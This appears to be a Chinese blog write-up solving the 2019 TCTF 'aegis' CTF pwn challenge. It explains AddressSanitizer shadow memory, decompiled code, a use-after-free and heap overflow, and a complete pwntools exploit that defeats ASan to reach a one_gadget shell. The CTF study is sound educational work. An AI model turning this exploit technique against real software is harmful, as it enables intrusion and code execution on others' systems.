2019 TCTF aegis

这道题是学习学弟的博客看到的感觉很有趣拿来学习学习

查看文件

我们看到除了常见的五个保护还有ASAN和UBSAN两个保护。

知识点补充

在这里我们需要进行知识点补充:asan(AddressSanitizer)是google开源的一个用于进行内存检测的工具,可以检测常见的heap and stack BufferOverflow,global buffer overflow, UAF等。

AddressSanitizer主要包括两部分:插桩(Instrumentation)和动态运行库(Run-time library)。插桩主要是针对在llvm编译器级别对访问内存的操作(store,load,alloca等) ,将它们进行处理。动态运行库主要提供一些运行时的复杂的功能(比如poison/unpoison shadow memory)以及将malloc,free等系统调用函数hook住。

举例:防止overflow,该算法的思路是:如果想防住Buffer Overflow漏洞,只需要在每块内存区域右端(或两端,能防overflow和underflow)加一块区域(RedZone),使RedZone的区域的影子内存(Shadow Memory)设置为不可写即可。具体的示意图如下图所示。

内存映射:
AddressSanitizer保护的主要原理是对程序中的虚拟内存提供粗粒度的影子内存(每8个字节的内存对应一个字节的影子内存) ,为了减少overhead,采用了直接内存映射策略,

所采用的具体策略如下:Shadow=(Mem >> 3) + offset。
对于32位offset=0x20000000,64位是0x7fff8000

每8个字节的内存对应一个字节的影子内存,影子内存中每个字节存取一个数字k,如果k=0,则表示该影子内存对应的8个字节的内存都能访问,如果0<k<7,表示前k个字节可以访问,如果k为负数,不同的数字表示不同的错误(e.g. Stack buffer overflow, Heap buffer overflow)。
即:

  1. 8字节的内容可写,则影子内存对应的1字节数据为0
  2. 8字节的内容不可写,则影子内存中对应的1字节数据为负数
  3. 8字节中前n字节可写,剩余地址不可写,则影子内存中对应的1字节数据为k

ASan 的检查很大一部分是基于影子内存中,此时影子内存的flag值。假设如果全段影子内存的 flag 全为0,我们就可以完全无视掉ASan,而0ctf 的 babyaegis,正是给了一个写0的机会,给了我们一次对一个指针再次读写的机会。

插桩: 为了防止buffer overflow,需要将原来分配的内存两边分配额外的内存Redzone,并将这两边的内存加锁,设为不能访问状态,这样可以有效的防止buffer overflow(但不能杜绝buffer overflow)

Heap Variable保存在堆区,其分配的函数是malloc函数,该部分的主要代码在runtime-library中,该库中主要是先将malloc的库函数hook住,然后自己定义malloc函数,定义分配策略。

对于栈上的变量,会在编译时插桩,在每个栈变量前后都加上Redzone,Redzone是不能读写的,同样还会进行Shadow Memory的映射

对于动态分配的内存,会hook掉对应的函数,如malloc, free,然后使用自己的分配策略,同样会用Shadow Memory进行映射:对于会有内存操作的库函数,如strlen等,都会进行hook掉,动态的检测内存hook掉的malloc分配的策略大概可以描述如下,不同size分配的内存区域不同,但是地址会固定,如0x10字节大小的,一开始都会分配到0x602000000010这个地址分配的每块内存的前面0x10个字节都会带有一些描述这块内存的信息,如size,使用状态free掉之后的内存正常情况是不会再次被分配的。

详细请看:AddressSanitizer算法及源码解析

创建0x100size的chunk:

第一块是manage部分,可以看到chunkaddr+0x18处是content的size,这时我们看到第二部分也就是其对应的content部分,我们分配的是0x100大小,部分内容已经被我们赋值。第三部分是影子内存:
我们看到对应的影子内存有0x20个字节数据为0,根据前面的内容也就知道了对应0x20*8的数据可写。

删除后:

即不可写了。

IDA分析

create:
大概是先进行创建content的chunk,最多读取size-8到chunk中,在chunk后面读入index的值。
然后malloc(0x10)的管理结构体,写入content chunk地址和函数指针

unsigned __int64 add_note()
{
  unsigned __int64 v0; // rdi
  __int64 v1; // rax
  unsigned __int64 v2; // rdi
  __int64 v3; // rax
  unsigned __int64 v4; // rdi
  unsigned __int64 v5; // rcx
  __int64 v6; // rcx
  unsigned __int64 v7; // rdi
  __int64 *v8; // rax
  unsigned __int64 v9; // rdi
  unsigned __int64 v10; // rdi
  __int64 chunkAddr; // [rsp+8h] [rbp-28h]
  int v13; // [rsp+18h] [rbp-18h]
  int size; // [rsp+1Ch] [rbp-14h]
  int v15; // [rsp+20h] [rbp-10h]
  int i; // [rsp+24h] [rbp-Ch]

  v15 = -1;
  for ( i = 0; i < 10; ++i )
  {
    v0 = (unsigned __int64)&notes + 8 * i;
    if ( *(_BYTE *)((v0 >> 3) + 0x7FFF8000) )
      _asan_report_load8(v0);
    if ( !*(_QWORD *)v0 )
    {
      v15 = i;
      break;
    }
  }
  if ( v15 == -1 )
    error();
  printf((unsigned __int64)"Size: ");
  size = read_int();
  if ( size < 0x10 || size > 0x400 )
    error();
  chunkAddr = malloc((__asan *)size);
  if ( !chunkAddr )
    error();
  printf((unsigned __int64)"Content: ");
  v13 = read_until_nl_or_max(chunkAddr, size - 8);
  printf((unsigned __int64)"ID: ");
  v1 = read_ul();
  v2 = v13 + chunkAddr;
  if ( *(_BYTE *)((v2 >> 3) + 0x7FFF8000) )
    v1 = _asan_report_store8(v2);
  *(_QWORD *)v2 = v1;
  v3 = malloc((__asan *)&word_10);
  v4 = (unsigned __int64)&notes + 8 * v15;
  if ( *(_BYTE *)((v4 >> 3) + 0x7FFF8000) )
    v3 = _asan_report_store8(v4);
  *(_QWORD *)v4 = v3;
  v5 = (unsigned __int64)&notes + 8 * v15;
  if ( *(_BYTE *)((v5 >> 3) + 0x7FFF8000) )
    _asan_report_load8((unsigned __int64)&notes + 8 * v15);
  if ( !*(_QWORD *)v5 )
    error();
  v6 = chunkAddr;
  v7 = (unsigned __int64)&notes + 8 * v15;
  if ( *(_BYTE *)((v7 >> 3) + 0x7FFF8000) )
    _asan_report_load8(v7);
  v8 = *(__int64 **)v7;
  if ( *(_BYTE *)((*(_QWORD *)v7 >> 3) + 0x7FFF8000LL) )
    v8 = (__int64 *)_asan_report_store8((unsigned __int64)v8);
  *v8 = v6;
  v9 = (unsigned __int64)&notes + 8 * v15;
  if ( *(_BYTE *)((v9 >> 3) + 0x7FFF8000) )
    _asan_report_load8(v9);
  v10 = *(_QWORD *)v9 + 8LL;
  if ( *(_BYTE *)((v10 >> 3) + 0x7FFF8000) )
    _asan_report_store8(v10);
  *(_QWORD *)v10 = cfi_check;
  puts("Add success!");
  return __readfsqword(0x28u);
}

show

delete没有清空指针

update函数

每update一次就会导致多写一位,最后会和ID连在一起,导致溢出

后门函数,可以写影子内存

三个漏洞:第一个是delete函数没有清空内存指针,造成可以UAF,第二个则是在update函数的时候strlen就会超出预期的长度,造成堆溢出。(只需要输入ID的时候不要有\x00)

思路

思路很简单了,通过后门函数改影子内存,将溢出后面设置可写,这样就可以利用update进行堆溢出修改下个堆块的size位了。将chunk的user_requested_size改为大于256M的数值,之后malloc的将还是这块chunk。(应该是其特殊的回收策略,具体可能得去看源码才能知道原因了)

改掉影子内存值,赋予0x602000000020可写:

off by one改掉size:ChunkHeader的2-nd 8 Bytes的低29字节表示的是user_requested_size位置,也就是size从0x10大小被改为了0x10000000大小。

这个时候释放这个chunk后,再分配将得到一个overlapping的chunk,也就是说我们下个分配的buf位置将会是第一个的note manage的地址。也就是说我们可以改掉在note中heap_addr的值,通过show进行一系列的leak操作

第一步先leak 程序加载地址,第二步通过函数得到libc,第三步改bss上函数指针为one_gadget,最后再检测cfi函数和cfi_check函数不一样的时候会进行的函数调用如下:

exp

exp是用lyyl师傅的exp调的,太懒了Orz..

# coding=utf-8
from pwn import *

context.update(os="linux",arch="amd64",log_level="debug")
context.terminal = ['tmux', 'split', '-h']
elf = ELF("./aegis")
debug = 1
if debug:
    p = process("aegis")
    # gdb.attach(p, "b *$rebase(0x18a7)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x10a45c

else:
    p = remote('', 0)
    libc = ELF('')
    one_gadget = 0x0

def create(size,content,id):
    p.sendlineafter("Choice: ", "1")
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Content: ", content)
    p.sendlineafter("ID: ", str(id))

def show(index):
    p.sendlineafter("Choice: ", "2")
    p.sendlineafter("Index: ", str(index))

def update(index, content, id):
    p.sendlineafter("Choice: ", "3")
    p.sendlineafter("Index: ", str(index))
    p.sendafter("New Content: ", content)
    p.sendlineafter("New ID: ", str(id))

def delete(index):
    p.sendlineafter("Choice: ", "4")
    p.sendlineafter("Index: ", str(index))

def exit():
    p.sendlineafter("Choice: ", "5")

def secret(address):
    p.sendlineafter("Choice: ", str(666))
    p.sendlineafter("Lucky Number: ", str(address))
create(0x10,"1"*0x8,0x112233445566778)
secret(0xc047fff8004)
update(0,'a'*0x12,0x123456789) # modify chunk size from 0x10000010 to 0x10000000
update(0,'a'*0x10+ p64(0x02ffffff00000002)[:7], 0x01f000000002ff)
delete(0)
create(0x10,p64(0x602000000018), 0)
show(0)
p.recvuntil("Content: ")
elf.address = u64(p.recv(6).ljust(8, b"\x00")) - 0x114AB0
log.success("elf address {}".format(hex(elf.address)))
puts_got = elf.got['puts']
update(1, p64(puts_got)[:2], puts_got >> 8) # strlen = 1
show(0)
p.recvuntil("Content: ")
libc.address = u64(p.recv(6).ljust(8, b"\x00")) - libc.sym['puts']
log.success("libc address {}".format(hex(libc.address)))
_ZN11__sanitizerL15UserDieCallbackE_address = elf.address + 0xFB0888
update(1, p64(_ZN11__sanitizerL15UserDieCallbackE_address)[:7], 0)
one_gadget += libc.address
gdb.attach(p)
update(0, p64(one_gadget)[:1], one_gadget)
p.interactive()

  Reprint policy: xiaoxin 2019 TCTF aegis

 Previous
路由器学习之D-Link DIR-815溢出漏洞复现 路由器学习之D-Link DIR-815溢出漏洞复现
[toc] 前言用了mipsrop发现是真的香,以前做mips题全部是ropper到txt里找相关寄存器的指令,构造极其复杂,有了mipsrop发现很多可控的jmp地址。 基本信息 我们看到是在hedwig.cgi中产生的一个cookie
Next 
VM-PWN题总结(一) VM-PWN题总结(一)
2020 GACTF vmpwn查看文件 libc 2.23,保护全开 IDA分析 我们看到分配的有0x30的chunk,该chunk的作用是前面0x18大小作为rdi、rsi、rdx三个寄存器参数。 程序会再分配两个大chunk其中一个
2020-10-29
  TOC